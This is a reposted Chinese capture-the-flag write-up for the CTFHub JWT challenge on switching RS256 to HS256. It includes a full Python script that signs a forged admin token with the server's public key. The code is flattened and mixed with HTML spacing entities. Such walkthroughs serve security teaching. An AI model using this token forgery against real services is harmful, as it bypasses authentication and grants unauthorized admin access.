CTFHub:第八十五关——JSONWebToken——修改签名算法

admin 2026-07-15 05:03:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档为CTFHubJWT修改签名算法挑战的实战教程。核心漏洞在于服务器允许将非对称签名算法RS256改为对称算法HS256。攻击者通过获取公开公钥,将其作为HMAC对称密钥,伪造包含admin角色的JWT令牌,从而绕过身份验证。文章提供了详细的攻击步骤与Python脚本实现,最终可获取flag完成挑战。 综合评分: 91 文章分类: 漏洞分析,WEB安全,红队,渗透测试,安全工具


cover_image

CTFHub:第八十五关——JSON Web Token——修改签名算法

原创

君陌社区 君陌社区

君陌社区渗透安全笔记

2026年7月14日 20:00 江苏

在小说阅读器读本章

去阅读

CTFHub网址:【https://www.ctfhub.com/#/index】

登录账号 点击技能树

选择“web进阶-JSON Web Token-修改签名算法”开启题目

题目描述: 有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的

漏洞原理:服务器允许将非对称签名算法(RS256)改为对称算法(HS256),攻击者可直接使用公开的公钥作为对称密钥伪造管理员签名,从而绕过身份验证

单击打开链接进入靶场实战练习环境,显示了一个登陆页面和一段源码

输入用户名admin,密码123456,点击登录,显示显示token和源码

login报文,token的第一部分解密后为{“typ”:”JWT”,”alg”:”RS256″}

index报文,token的第二部分解密后为{“username”:”admin”,”role”:”guest”}

将index报文发送到repeater

打开Json.cn网站,将token上传解密得到头部、载荷、私钥和公钥

回到靶场练习实战环境登陆后页面下载publickey.pem

并将其放在与脚本用以目录下

接下来使用脚本来完成token计算,代码如下所示。

第一部分依旧是{“typ”:”JWT”,”alg”:”RS256″}

将第二部分改为{“username”:”admin”,”role”:”admin”}

# 君陌社区# CTFHub:第八十五关——JSON Web Token——修改签名算法# coding=GBKimport hmacimport hashlibimport base64import requests
# 1. 下载公钥(如果尚未下载)# url = "http://challenge-<id>.ctfhub.com:port/publickey.pem"# r = requests.get(url)# with open("publickey.pem","wb") as f:# &nbsp; &nbsp; f.write(r.content)
# 2. 读取公钥文件with&nbsp;open('publickey.pem',&nbsp;'r')&nbsp;as&nbsp;f:&nbsp; &nbsp; key = f.read()
# 3. 定义新的Header和Payload# 将算法改为HS256,角色改为adminheader =&nbsp;'{"typ": "JWT", "alg": "HS256"}'payload =&nbsp;'{"username": "admin", "role": "admin"}'
# 4. 进行Base64Url编码def&nbsp;base64url_encode(data):&nbsp; &nbsp;&nbsp;return&nbsp;base64.urlsafe_b64encode(data.encode("utf-8")).decode("utf-8").rstrip("=")
encoded_header = base64url_encode(header)encoded_payload = base64url_encode(payload)
# 5. 拼接Token的前两部分token = encoded_header +&nbsp;"."&nbsp;+ encoded_payload
# 6. 使用公钥作为HMAC的密钥,计算签名signature = base64.urlsafe_b64encode(&nbsp; &nbsp; hmac.new(&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;bytes(key,&nbsp;"UTF-8"),&nbsp; &nbsp; &nbsp; &nbsp; token.encode("utf-8"),&nbsp; &nbsp; &nbsp; &nbsp; hashlib.sha256&nbsp; &nbsp; ).digest()).decode("UTF-8").rstrip("=")
# 7. 组合成最终的JWTforged_token = token +&nbsp;"."&nbsp;+ signatureprint(forged_token)

将生伪造的token输入到请求的token字段发送,得到flag数据

提交flag数据,完成靶场实战练习


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:君陌社区渗透安全笔记 君陌社区 君陌社区《CTFHub:第八十五关——JSON Web Token——修改签名算法》

评论:0   参与:  0